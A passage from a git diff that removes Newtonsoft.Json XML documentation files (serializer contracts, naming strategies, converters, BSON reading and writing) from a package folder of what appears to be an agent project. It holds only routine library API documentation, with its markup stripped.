assembly qualified .NET type name as the schema Id. - - - - - - Returns detailed information related to the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the associated with the validation error. - - The JsonSchemaException associated with the validation error. - - - - Gets the path of the JSON location where the validation error occurred. - - The path of the JSON location where the validation error occurred. - - - - Gets the text description corresponding to the validation error. - - The text description. - - - - - Represents the callback method that will handle JSON schema validation events and the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Allows users to control class loading and mandate what class to load. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - A camel case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Resolves member mappings for a type, camel casing property names. - - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used by to resolve a for a given . - - - - - Gets a value indicating whether members are being get and set using dynamic code generation. - This value is determined by the runtime permissions available. - - - true if using dynamic code generation; otherwise, false. - - - - - Gets or sets a value indicating whether compiler generated members should be serialized. - - - true if serialized compiler generated members; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. - - - true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. - - - true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. - - The naming strategy used to resolve how property names and dictionary keys are serialized. - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Gets the serializable members for the type. - - The type to get serializable members for. - The serializable members for the type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates the constructor parameters. - - The constructor to create properties for. - The type's member properties. - Properties for the given . - - - - Creates a for the given . - - The matching member property. - The constructor parameter. - A created for the given . - - - - Resolves the default for the contract. - - Type of the object. - The contract's default . - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Determines which contract type is created for the given type. - - Type of the object. - A for the given type. - - - - Creates properties for the given . - - The type to create properties for. - /// The member serialization mode for the type. - Properties for the given . - - - - Creates the used by the serializer to get and set values from a member. - - The member. - The used by the serializer to get and set values from a member. - - - - Creates a for the given . - - The member's parent . - The member to create a for. - A created for the given . - - - - Resolves the name of the property. - - Name of the property. - Resolved name of the property. - - - - Resolves the name of the extension data. By default no changes are made to extension data names. - - Name of the extension data. - Resolved name of the extension data. - - - - Resolves the key of the dictionary. By default is used to resolve dictionary keys. - - Key of the dictionary. - Resolved key of the dictionary. - - - - Gets the resolved name of the property. - - Name of the property. - Name of the property. - - - - The default naming strategy. Property names and dictionary keys are unchanged. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - The default serialization binder used when resolving and loading classes from type names. - - - - - Initializes a new instance of the class. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - The type of the object the formatter creates a new instance of. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Provides information surrounding an error. - - - - - Gets the error. - - The error. - - - - Gets the original object that caused the error. - - The original object that caused the error. - - - - Gets the member that caused the error. - - The member that caused the error. - - - - Gets the path of the JSON location where the error occurred. - - The path of the JSON location where the error occurred. - - - - Gets or sets a value indicating whether this is handled. - - true if handled; otherwise, false. - - - - Provides data for the Error event. - - - - - Gets the current object the error event is being raised against. - - The current object the error event is being raised against. - - - - Gets the error context. - - The error context. - - - - Initializes a new instance of the class. - - The current object. - The error context. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides methods to get attributes. - - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Used by to resolve a for a given . - - - - - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used to resolve references when serializing and deserializing JSON by the . - - - - - Resolves a reference to its object. - - The serialization context. - The reference to resolve. - The object that was resolved from the reference. - - - - Gets the reference for the specified object. - - The serialization context. - The object to get a reference for. - The reference to the object. - - - - Determines whether the specified object is referenced. - - The serialization context. - The object to test for a reference. - - true if the specified object is referenced; otherwise, false. - - - - - Adds a reference to the specified object. - - The serialization context. - The reference. - The object to reference. - - - - Allows users to control class loading and mandate what class to load. - - - - - When implemented, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When implemented, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - The that will be used to filter the trace messages passed to the writer. - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides methods to get and set values. - - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Contract details for a used by the . - - - - - Gets the of the collection items. - - The of the collection items. - - - - Gets a value indicating whether the collection type is a multidimensional array. - - true if the collection type is a multidimensional array; otherwise, false. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the collection values. - - true if the creator has a parameter with the collection values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the default collection items . - - The converter. - - - - Gets or sets a value indicating whether the collection items preserve object references. - - true if collection items preserve object references; otherwise, false. - - - - Gets or sets the collection item reference loop handling. - - The reference loop handling. - - - - Gets or sets the collection item type name handling. - - The type name handling. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Handles serialization callback events. - - The object that raised the callback event. - The streaming context. - - - - Handles serialization error callback events. - - The object that raised the callback event. - The streaming context. - The error context. - - - - Sets extension data for an object during deserialization. - - The object to set extension data on. - The extension data key. - The extension data value. - - - - Gets extension data for an object during serialization. - - The object to set extension data on. - - - - Contract details for a used by the . - - - - - Gets the underlying type for the contract. - - The underlying type for the contract. - - - - Gets or sets the type created during deserialization. - - The type created during deserialization. - - - - Gets or sets whether this type contract is serialized as a reference. - - Whether this type contract is serialized as a reference. - - - - Gets or sets the default for this contract. - - The converter. - - - - Gets the internally resolved for the contract's type. - This converter is used as a fallback converter when no other converter is resolved. - Setting will always override this converter. - - - - - Gets or sets all methods called immediately after deserialization of the object. - - The methods called immediately after deserialization of the object. - - - - Gets or sets all methods called during deserialization of the object. - - The methods called during deserialization of the object. - - - - Gets or sets all methods called after serialization of the object graph. - - The methods called after serialization of the object graph. - - - - Gets or sets all methods called before serialization of the object. - - The methods called before serialization of the object. - - - - Gets or sets all method called when an error is thrown during the serialization of the object. - - The methods called when an error is thrown during the serialization of the object. - - - - Gets or sets the default creator method used to create the object. - - The default creator method used to create the object. - - - - Gets or sets a value indicating whether the default creator is non-public. - - true if the default object creator is non-public; otherwise, false. - - - - Contract details for a used by the . - - - - - Gets or sets the dictionary key resolver. - - The dictionary key resolver. - - - - Gets the of the dictionary keys. - - The of the dictionary keys. - - - - Gets the of the dictionary values. - - The of the dictionary values. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the dictionary values. - - true if the creator has a parameter with the dictionary values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets the object's properties. - - The object's properties. - - - - Gets or sets the property name resolver. - - The property name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object member serialization. - - The member object serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets the object's properties. - - The object's properties. - - - - Gets a collection of instances that define the parameters used with . - - - - - Gets or sets the function used to create the object. When set this function will override . - This function is called with a collection of arguments which are defined by the collection. - - The function used to create the object. - - - - Gets or sets the extension data setter. - - - - - Gets or sets the extension data getter. - - - - - Gets or sets the extension data value type. - - - - - Gets or sets the extension data name resolver. - - The extension data name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Maps a JSON property to a .NET member or constructor parameter. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the type that declared this property. - - The type that declared this property. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets the name of the underlying member or parameter. - - The name of the underlying member or parameter. - - - - Gets the that will get and set the during serialization. - - The that will get and set the during serialization. - - - - Gets or sets the for this property. - - The for this property. - - - - Gets or sets the type of the property. - - The type of the property. - - - - Gets or sets the for the property. - If set this converter takes precedence over the contract converter for the property type. - - The converter. - - - - Gets or sets the member converter. - - The member converter. - - - - Gets or sets a value indicating whether this is ignored. - - true if ignored; otherwise, false. - - - - Gets or sets a value indicating whether this is readable. - - true if readable; otherwise, false. - - - - Gets or sets a value indicating whether this is writable. - - true if writable; otherwise, false. - - - - Gets or sets a value indicating whether this has a member attribute. - - true if has a member attribute; otherwise, false. - - - - Gets the default value. - - The default value. - - - - Gets or sets a value indicating whether this is required. - - A value indicating whether this is required. - - - - Gets a value indicating whether has a value specified. - - - - - Gets or sets a value indicating whether this property preserves object references. - - - true if this instance is reference; otherwise, false. - - - - - Gets or sets the property null value handling. - - The null value handling. - - - - Gets or sets the property default value handling. - - The default value handling. - - - - Gets or sets the property reference loop handling. - - The reference loop handling. - - - - Gets or sets the property object creation handling. - - The object creation handling. - - - - Gets or sets or sets the type name handling. - - The type name handling. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets a predicate used to determine whether the property should be deserialized. - - A predicate used to determine whether the property should be deserialized. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets an action used to set whether the property has been deserialized. - - An action used to set whether the property has been deserialized. - - - - Returns a that represents this instance. - - - A that represents this instance. - - - - - Gets or sets the converter used when serializing the property's collection items. - - The collection's items converter. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - A collection of objects. - - - - - Initializes a new instance of the class. - - The type. - - - - When implemented in a derived class, extracts the key from the specified element. - - The element from which to extract the key. - The key for the specified element. - - - - Adds a object. - - The property to add to the collection. - - - - Gets the closest matching object. - First attempts to get an exact case match of and then - a case insensitive match. - - Name of the property. - A matching property if found. - - - - Gets a property by property name. - - The name of the property to get. - Type property name string comparison. - A matching property if found. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Lookup and create an instance of the type described by the argument. - - The type to create. - Optional arguments to pass to an initializing constructor of the JsonConverter. - If null, the default constructor is used. - - - - A kebab case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Represents a trace writer that writes to memory. When the trace message limit is - reached then old trace messages will be removed as new messages are added. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Initializes a new instance of the class. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Returns an enumeration of the most recent trace messages. - - An enumeration of the most recent trace messages. - - - - Returns a of the most recent trace messages. - - - A of the most recent trace messages. - - - - - A base class for resolving how property names and dictionary keys are serialized. - - - - - A flag indicating whether dictionary keys should be processed. - Defaults to false. - - - - - A flag indicating whether extension data names should be processed. - Defaults to false. - - - - - A flag indicating whether explicitly specified property names, - e.g. a property name customized with a , should be processed. - Defaults to false. - - - - - Gets the serialized name for a given property name. - - The initial property name. - A flag indicating whether the property has had a name explicitly specified. - The serialized property name. - - - - Gets the serialized name for a given extension data name. - - The initial extension data name. - The serialized extension data name. - - - - Gets the serialized key for a given dictionary key. - - The initial dictionary key. - The serialized dictionary key. - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Hash code calculation - - - - - - Object equality implementation - - - - - - - Compare to another NamingStrategy - - - - - - - Represents a method that constructs an object. - - The object type to create. - - - - When applied to a method, specifies that the method is called when an error occurs serializing an object. - - - - - Provides methods to get attributes from a , , or . - - - - - Initializes a new instance of the class. - - The instance to get attributes for. This parameter should be a , , or . - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Get and set values for a using reflection. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - A snake case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Specifies how strings are escaped when writing JSON text. - - - - - Only control characters (e.g. newline) are escaped. - - - - - All non-ASCII and control characters (e.g. newline) are escaped. - - - - - HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. - - - - - Specifies what messages to output for the class. - - - - - Output no tracing and debugging messages. - - - - - Output error-handling messages. - - - - - Output warnings and error-handling messages. - - - - - Output informational messages, warnings, and error-handling messages. - - - - - Output all debugging and tracing messages. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. - - - - - Specifies type name handling options for the . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Do not include the .NET type name when serializing types. - - - - - Include the .NET type name when serializing into a JSON object structure. - - - - - Include the .NET type name when serializing into a JSON array structure. - - - - - Always include the .NET type name when serializing. - - - - - Include the .NET type name when the type of the object being serialized is not the same as its declared type. - Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON - you must specify a root type object with - or . - - - - - Determines whether the collection is null or empty. - - The collection. - - true if the collection is null or empty; otherwise, false. - - - - - Adds the elements of the specified collection to the specified generic . - - The list to add to. - The collection of elements to add. - - - - Converts the value to the specified type. If the value is unable to be converted, the - value is checked whether it assignable to the specified type. - - The value to convert. - The culture to use when converting. - The type to convert or cast the value to. - - The converted type. If conversion was unsuccessful, the initial value - is returned if assignable to the target type. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic that returns a result - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Returns a Restrictions object which includes our current restrictions merged - with a restriction limiting our type - - - - - Helper class for serializing immutable collections. - Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed - https://github.com/JamesNK/Newtonsoft.Json/issues/652 - - - - - List of primitive types which can be widened. - - - - - Widening masks for primitive types above. - Index of the value in this array defines a type we're widening, - while the bits in mask define types it can be widened to (including itself). - - For example, value at index 0 defines a bool type, and it only has bit 0 set, - i.e. bool values can be assigned only to bool. - - - - - Checks if value of primitive type can be - assigned to parameter of primitive type . - - Source primitive type. - Target primitive type. - true if source type can be widened to target type, false otherwise. - - - - Checks if a set of values with given can be used - to invoke a method with specified . - - Method parameters. - Argument types. - Try to pack extra arguments into the last parameter when it is marked up with . - true if method can be called with given arguments, false otherwise. - - - - Compares two sets of parameters to determine - which one suits better for given argument types. - - - - - Returns a best method overload for given argument . - - List of method candidates. - Argument types. - Best method overload, or null if none matched. - - - - Gets the type of the typed collection's items. - - The type. - The type of the typed collection's items. - - - - Gets the member's underlying type. - - The member. - The underlying type of the member. - - - - Determines whether the property is an indexed property. - - The property. - - true if the property is an indexed property; otherwise, false. - - - - - Gets the member's value on the object. - - The member. - The target object. - The member's value on the object. - - - - Sets the member's value on the target object. - - The member. - The target. - The value. - - - - Determines whether the specified MemberInfo can be read. - - The MemberInfo to determine whether can be read. - /// if set to true then allow the member to be gotten non-publicly. - - true if the specified MemberInfo can be read; otherwise, false. - - - - - Determines whether the specified MemberInfo can be set. - - The MemberInfo to determine whether can be set. - if set to true then allow the member to be set non-publicly. - if set to true then allow the member to be set if read-only. - - true if the specified MemberInfo can be set; otherwise, false. - - - - - Builds a string. Unlike this class lets you reuse its internal buffer. - - - - - Determines whether the string is all white space. Empty string will return false. - - The string to test whether it is all white space. - - true if the string is all white space; otherwise, false. - - - - - Specifies the state of the . - - - - - An exception has been thrown, which has left the in an invalid state. - You may call the method to put the in the Closed state. - Any other method calls result in an being thrown. - - - - - The method has been called. - - - - - An object is being written. - - - - - An array is being written. - - - - - A constructor is being written. - - - - - A property is being written. - - - - - A write method has not been called. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the method is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The is used to load the assembly. - - - - Specifies that an output will not be null even if the corresponding type allows it. - - - Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. - - - Initializes the attribute with the specified return value condition. - - The return value condition. If the method returns this value, the associated parameter will not be null. - - - - Gets the return value condition. - - - Specifies that an output may be null even if the corresponding type disallows it. - - - Specifies that null is allowed as an input even if the corresponding type disallows it. - - - - Specifies that the method will not return if the associated Boolean parameter is passed the specified value. - - - - - Initializes a new instance of the class. - - - The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to - the associated parameter matches this value. - - - - Gets the condition parameter value. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.xml b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.xml deleted file mode 100644 index 4de49a70..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.xml +++ /dev/null @@ -1,11173 +0,0 @@ - - - - Newtonsoft.Json - - - - - Represents a BSON Oid (object id). - - - - - Gets or sets the value of the Oid. - - The value of the Oid. - - - - Initializes a new instance of the class. - - The Oid value. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. - - - - - Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. - - - true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. - - - - - Gets or sets a value indicating whether the root object will be read as a JSON array. - - - true if the root object will be read as a JSON array; otherwise, false. - - - - - Gets or sets the used when reading values from BSON. - - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. - - - - - Gets or sets the used when writing values to BSON. - When set to no conversion will occur. - - The used when writing values to BSON. - - - - Initializes a new instance of the class. - - The to write to. - - - - Initializes a new instance of the class. - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. - - - - - Writes the end. - - The token. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes the beginning of a JSON array. - - - - - Writes the beginning of a JSON object. - - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value that represents a BSON object id. - - The Object ID value to write. - - - - Writes a BSON regex. - - The regex pattern. - The regex options. - - - - Specifies how constructors are used when initializing objects during deserialization by the . - - - - - First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. - - - - - Json.NET will use a non-public default constructor before falling back to a parameterized constructor. - - - - - Converts a binary value to and from a base 64 string value. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Creates a custom object. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Creates an object which will then be populated by the serializer. - - Type of the object. - The created object. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Provides a base class for converting a to and from JSON. - - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a F# discriminated union type to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). - - - - - Gets or sets the date time styles used when converting a date to and from JSON. - - The date time styles used when converting a date to and from JSON. - - - - Gets or sets the date time format used when converting a date to and from JSON. - - The date time format used when converting a date to and from JSON. - - - - Gets or sets the culture used when converting a date to and from JSON. - - The culture used when converting a date to and from JSON. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from its name string value. - - - - - Gets or sets a value indicating whether the written enum text should be camel case. - The default value is false. - - true if the written enum text will be camel case; otherwise, false. - - - - Gets or sets the naming strategy used to resolve how enum text is written. - - The naming strategy used to resolve how enum text is written. - - - - Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. - The default value is true. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - true if the written enum text will be camel case; otherwise, false. - - - - Initializes a new instance of the class. - - The naming strategy used to resolve how enum text is written. - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from Unix epoch time - - - - - Gets or sets a value indicating whether the dates before Unix epoch - should converted to and from JSON. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from a string (e.g. "1.2.3.4"). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if 